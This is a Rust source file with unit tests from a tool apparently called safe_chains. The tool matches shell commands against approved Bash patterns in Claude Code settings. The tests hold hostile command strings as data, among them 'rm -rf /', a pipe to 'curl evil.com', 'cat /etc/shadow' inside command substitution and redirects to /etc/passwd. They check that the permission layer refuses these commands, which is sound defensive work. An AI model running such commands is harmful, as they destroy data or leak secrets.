Skip to main content

safe_chains/
settings.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4pub struct ApprovedPatterns {
5    exact: HashSet<String>,
6    globs: Vec<Vec<String>>,
7}
8
9impl ApprovedPatterns {
10    pub fn load() -> Self {
11        let mut patterns = ApprovedPatterns {
12            exact: HashSet::new(),
13            globs: Vec::new(),
14        };
15
16        if let Some(home) = std::env::var_os("HOME") {
17            patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
18        }
19
20        if let Some(project_dir) = std::env::var_os("CLAUDE_PROJECT_DIR") {
21            let base = Path::new(&project_dir).join(".claude");
22            patterns.load_file(&base.join("settings.json"));
23            patterns.load_file(&base.join("settings.local.json"));
24        }
25
26        patterns
27    }
28
29    fn load_file(&mut self, path: &Path) {
30        let Ok(contents) = std::fs::read_to_string(path) else {
31            return;
32        };
33        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
34            return;
35        };
36
37        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
38            for entry in arr.iter().filter_map(|e| e.as_str()) {
39                self.add_pattern(entry);
40            }
41        }
42
43        if let Some(arr) = value
44            .get("permissions")
45            .and_then(|v| v.get("allow"))
46            .and_then(|v| v.as_array())
47        {
48            for entry in arr.iter().filter_map(|e| e.as_str()) {
49                self.add_pattern(entry);
50            }
51        }
52    }
53
54    fn add_pattern(&mut self, entry: &str) {
55        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
56            return;
57        };
58        if inner.is_empty() {
59            return;
60        }
61        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
62            format!("{prefix} *")
63        } else {
64            inner.to_string()
65        };
66        if normalized.contains('*') {
67            self.globs
68                .push(normalized.split('*').map(String::from).collect());
69        } else {
70            self.exact.insert(normalized);
71        }
72    }
73
74    pub fn matches(&self, segment: &str) -> bool {
75        let normalized = crate::parse::strip_fd_redirects(crate::parse::strip_env_prefix(segment).trim());
76        if normalized.is_empty() {
77            return false;
78        }
79        if self.exact.contains(normalized.as_str()) {
80            return true;
81        }
82        self.globs
83            .iter()
84            .any(|parts| glob_matches(parts, &normalized))
85    }
86
87    pub fn is_empty(&self) -> bool {
88        self.exact.is_empty() && self.globs.is_empty()
89    }
90}
91
92fn glob_matches(parts: &[String], text: &str) -> bool {
93    let first = &parts[0];
94    let last = &parts[parts.len() - 1];
95
96    // "prefix *" → word boundary: prefix followed by space or end-of-string
97    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
98        let prefix = &first[..first.len() - 1];
99        return text == prefix || text.starts_with(first.as_str());
100    }
101
102    if !text.starts_with(first.as_str()) {
103        return false;
104    }
105    if !text.ends_with(last.as_str()) {
106        return false;
107    }
108    let mut pos = first.len();
109    let end = text.len() - last.len();
110    if pos > end {
111        return false;
112    }
113    for part in &parts[1..parts.len() - 1] {
114        match text[pos..end].find(part.as_str()) {
115            Some(idx) => pos += idx + part.len(),
116            None => return false,
117        }
118    }
119    pos <= end
120}
121
122#[cfg(test)]
123mod tests {
124    use super::*;
125    use std::fs;
126
127    fn empty() -> ApprovedPatterns {
128        ApprovedPatterns {
129            exact: HashSet::new(),
130            globs: Vec::new(),
131        }
132    }
133
134    #[test]
135    fn parse_exact_pattern() {
136        let mut p = empty();
137        p.add_pattern("Bash(npm test)");
138        assert!(p.exact.contains("npm test"));
139        assert!(p.globs.is_empty());
140    }
141
142    #[test]
143    fn parse_legacy_colon_star() {
144        let mut p = empty();
145        p.add_pattern("Bash(npm run:*)");
146        assert!(p.exact.is_empty());
147        assert_eq!(p.globs.len(), 1);
148    }
149
150    #[test]
151    fn parse_space_star() {
152        let mut p = empty();
153        p.add_pattern("Bash(npm run *)");
154        assert!(p.exact.is_empty());
155        assert_eq!(p.globs.len(), 1);
156    }
157
158    #[test]
159    fn parse_star_no_space() {
160        let mut p = empty();
161        p.add_pattern("Bash(ls*)");
162        assert_eq!(p.globs.len(), 1);
163    }
164
165    #[test]
166    fn parse_star_at_beginning() {
167        let mut p = empty();
168        p.add_pattern("Bash(* --version)");
169        assert_eq!(p.globs.len(), 1);
170    }
171
172    #[test]
173    fn parse_star_in_middle() {
174        let mut p = empty();
175        p.add_pattern("Bash(git * main)");
176        assert_eq!(p.globs.len(), 1);
177    }
178
179    #[test]
180    fn parse_non_bash_skipped() {
181        let mut p = empty();
182        p.add_pattern("WebFetch");
183        p.add_pattern("XcodeBuildMCP");
184        assert!(p.is_empty());
185    }
186
187    #[test]
188    fn parse_empty_bash_skipped() {
189        let mut p = empty();
190        p.add_pattern("Bash()");
191        assert!(p.is_empty());
192    }
193
194    #[test]
195    fn parse_empty_prefix_skipped() {
196        let mut p = empty();
197        p.add_pattern("Bash(:*)");
198        assert!(p.exact.is_empty());
199        assert_eq!(p.globs.len(), 1);
200    }
201
202    #[test]
203    fn match_exact() {
204        let mut p = empty();
205        p.add_pattern("Bash(npm test)");
206        assert!(p.matches("npm test"));
207        assert!(!p.matches("npm test --watch"));
208    }
209
210    #[test]
211    fn match_space_star_word_boundary() {
212        let mut p = empty();
213        p.add_pattern("Bash(ls *)");
214        assert!(p.matches("ls -la"));
215        assert!(p.matches("ls foo"));
216        assert!(!p.matches("lsof"));
217    }
218
219    #[test]
220    fn match_star_no_space_no_boundary() {
221        let mut p = empty();
222        p.add_pattern("Bash(ls*)");
223        assert!(p.matches("ls -la"));
224        assert!(p.matches("lsof"));
225    }
226
227    #[test]
228    fn match_legacy_colon_star_word_boundary() {
229        let mut p = empty();
230        p.add_pattern("Bash(npm run:*)");
231        assert!(p.matches("npm run build"));
232        assert!(p.matches("npm run test"));
233        assert!(!p.matches("npm running"));
234        assert!(!p.matches("npm install"));
235    }
236
237    #[test]
238    fn match_star_at_beginning() {
239        let mut p = empty();
240        p.add_pattern("Bash(* --version)");
241        assert!(p.matches("npm --version"));
242        assert!(p.matches("cargo --version"));
243        assert!(!p.matches("npm --help"));
244    }
245
246    #[test]
247    fn match_star_in_middle() {
248        let mut p = empty();
249        p.add_pattern("Bash(git * main)");
250        assert!(p.matches("git checkout main"));
251        assert!(p.matches("git merge main"));
252        assert!(!p.matches("git checkout develop"));
253    }
254
255    #[test]
256    fn match_env_prefix_stripped() {
257        let mut p = empty();
258        p.add_pattern("Bash(bundle install)");
259        assert!(p.matches("RACK_ENV=test bundle install"));
260    }
261
262    #[test]
263    fn match_fd_redirect_stripped() {
264        let mut p = empty();
265        p.add_pattern("Bash(npm test)");
266        assert!(p.matches("npm test 2>&1"));
267    }
268
269    #[test]
270    fn match_fd_redirect_with_glob() {
271        let mut p = empty();
272        p.add_pattern("Bash(npm run *)");
273        assert!(p.matches("npm run test 2>&1"));
274    }
275
276    #[test]
277    fn match_empty_segment() {
278        let mut p = empty();
279        p.add_pattern("Bash(npm test)");
280        assert!(!p.matches(""));
281        assert!(!p.matches("  "));
282    }
283
284    #[test]
285    fn empty_patterns_match_nothing() {
286        let p = empty();
287        assert!(!p.matches("anything"));
288    }
289
290    #[test]
291    fn match_bare_star_matches_everything() {
292        let mut p = empty();
293        p.add_pattern("Bash(*)");
294        assert!(p.matches("anything at all"));
295        assert!(p.matches("rm -rf /"));
296    }
297
298    #[test]
299    fn unsafe_syntax_not_bypassed_by_match() {
300        let mut p = empty();
301        p.add_pattern("Bash(./script.sh *)");
302        let segment = "./script.sh > /etc/passwd";
303        assert!(crate::parse::has_unsafe_shell_syntax(segment));
304        let covered = crate::is_safe(segment)
305            || (!crate::parse::has_unsafe_shell_syntax(segment) && p.matches(segment));
306        assert!(!covered);
307    }
308
309    #[test]
310    fn command_substitution_not_bypassed_by_match() {
311        let mut p = empty();
312        p.add_pattern("Bash(./script.sh *)");
313        let segment = "./script.sh $(rm -rf /)";
314        let covered = crate::is_safe(segment)
315            || (!crate::parse::has_unsafe_shell_syntax(segment) && p.matches(segment));
316        assert!(!covered);
317    }
318
319    #[test]
320    fn mixed_chain_safe_plus_settings() {
321        let mut p = empty();
322        p.add_pattern("Bash(./generate-docs.sh)");
323        let command = "cargo test && ./generate-docs.sh";
324        let segments = crate::parse::split_outside_quotes(command);
325        let all_covered = segments.iter().all(|s| {
326            crate::is_safe(s)
327                || (!crate::parse::has_unsafe_shell_syntax(s) && p.matches(s))
328        });
329        assert!(all_covered);
330    }
331
332    #[test]
333    fn mixed_chain_safe_plus_unapproved_denied() {
334        let mut p = empty();
335        p.add_pattern("Bash(./generate-docs.sh)");
336        let command = "cargo test && rm -rf /";
337        let segments = crate::parse::split_outside_quotes(command);
338        let all_covered = segments.iter().all(|s| {
339            crate::is_safe(s)
340                || (!crate::parse::has_unsafe_shell_syntax(s) && p.matches(s))
341        });
342        assert!(!all_covered);
343    }
344
345    fn is_covered(segment: &str, patterns: &ApprovedPatterns) -> bool {
346        crate::is_safe(segment)
347            || (!crate::parse::has_unsafe_shell_syntax(segment) && patterns.matches(segment))
348    }
349
350    #[test]
351    fn glob_does_not_cross_chain_boundary() {
352        let mut p = empty();
353        p.add_pattern("Bash(cargo test *)");
354        let command = "cargo test --release && rm -rf /";
355        let segments = crate::parse::split_outside_quotes(command);
356        assert_eq!(segments.len(), 2);
357        assert!(p.matches(&segments[0]));
358        assert!(!p.matches(&segments[1]));
359        assert!(!segments.iter().all(|s| is_covered(s, &p)));
360    }
361
362    #[test]
363    fn glob_does_not_cross_pipe_boundary() {
364        let mut p = empty();
365        p.add_pattern("Bash(safe-cmd *)");
366        let command = "safe-cmd arg | curl evil.com";
367        let segments = crate::parse::split_outside_quotes(command);
368        assert_eq!(segments.len(), 2);
369        assert!(!segments.iter().all(|s| is_covered(s, &p)));
370    }
371
372    #[test]
373    fn glob_does_not_cross_semicolon_boundary() {
374        let mut p = empty();
375        p.add_pattern("Bash(safe-cmd *)");
376        let command = "safe-cmd arg; rm -rf /";
377        let segments = crate::parse::split_outside_quotes(command);
378        assert_eq!(segments.len(), 2);
379        assert!(!segments.iter().all(|s| is_covered(s, &p)));
380    }
381
382    #[test]
383    fn bare_star_blocked_by_unsafe_syntax_redirect() {
384        let mut p = empty();
385        p.add_pattern("Bash(*)");
386        assert!(p.matches("echo > /etc/passwd"));
387        assert!(!is_covered("echo > /etc/passwd", &p));
388    }
389
390    #[test]
391    fn bare_star_blocked_by_unsafe_syntax_backtick() {
392        let mut p = empty();
393        p.add_pattern("Bash(*)");
394        assert!(!is_covered("echo `rm -rf /`", &p));
395    }
396
397    #[test]
398    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
399        let mut p = empty();
400        p.add_pattern("Bash(*)");
401        assert!(!is_covered("echo $(cat /etc/shadow)", &p));
402    }
403
404    #[test]
405    fn nested_shell_not_recursively_validated_by_settings() {
406        let mut p = empty();
407        p.add_pattern("Bash(bash *)");
408        let segment = "bash -c 'safe-cmd && rm -rf /'";
409        assert!(!crate::is_safe(segment));
410        assert!(!crate::parse::has_unsafe_shell_syntax(segment));
411        // Settings match overrides recursive shell validation — this is by design.
412        // The user explicitly approved Bash(bash *), which includes any bash -c command.
413        // This mirrors Claude Code's own behavior for approved patterns.
414        assert!(is_covered(segment, &p));
415    }
416
417    #[test]
418    fn nested_shell_redirect_still_blocked() {
419        let mut p = empty();
420        p.add_pattern("Bash(bash *)");
421        let segment = "bash -c 'echo hello' > /tmp/pwned";
422        assert!(crate::parse::has_unsafe_shell_syntax(segment));
423        assert!(!is_covered(segment, &p));
424    }
425
426    #[test]
427    fn quoted_operators_stay_as_one_segment() {
428        let mut p = empty();
429        p.add_pattern("Bash(./script *)");
430        let command = "./script 'arg && rm -rf /'";
431        let segments = crate::parse::split_outside_quotes(command);
432        assert_eq!(segments.len(), 1);
433        assert!(is_covered(&segments[0], &p));
434    }
435
436    #[test]
437    fn load_file_nonexistent() {
438        let mut p = empty();
439        p.load_file(Path::new("/nonexistent/path/settings.json"));
440        assert!(p.is_empty());
441    }
442
443    #[test]
444    fn load_file_malformed_json() {
445        let dir = tempfile::tempdir().unwrap();
446        let path = dir.path().join("settings.json");
447        fs::write(&path, "not json{{{").unwrap();
448        let mut p = empty();
449        p.load_file(&path);
450        assert!(p.is_empty());
451    }
452
453    #[test]
454    fn load_file_approved_commands() {
455        let dir = tempfile::tempdir().unwrap();
456        let path = dir.path().join("settings.json");
457        fs::write(
458            &path,
459            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
460        )
461        .unwrap();
462        let mut p = empty();
463        p.load_file(&path);
464        assert!(p.matches("npm test"));
465        assert!(p.matches("npm run build"));
466        assert!(!p.matches("curl evil.com"));
467    }
468
469    #[test]
470    fn load_file_permissions_allow() {
471        let dir = tempfile::tempdir().unwrap();
472        let path = dir.path().join("settings.json");
473        fs::write(
474            &path,
475            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
476        )
477        .unwrap();
478        let mut p = empty();
479        p.load_file(&path);
480        assert!(p.matches("cargo test"));
481        assert!(p.matches("cargo clippy -- -D warnings"));
482    }
483
484    #[test]
485    fn load_file_both_fields() {
486        let dir = tempfile::tempdir().unwrap();
487        let path = dir.path().join("settings.json");
488        fs::write(
489            &path,
490            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
491        )
492        .unwrap();
493        let mut p = empty();
494        p.load_file(&path);
495        assert!(p.matches("npm test"));
496        assert!(p.matches("cargo test --release"));
497    }
498}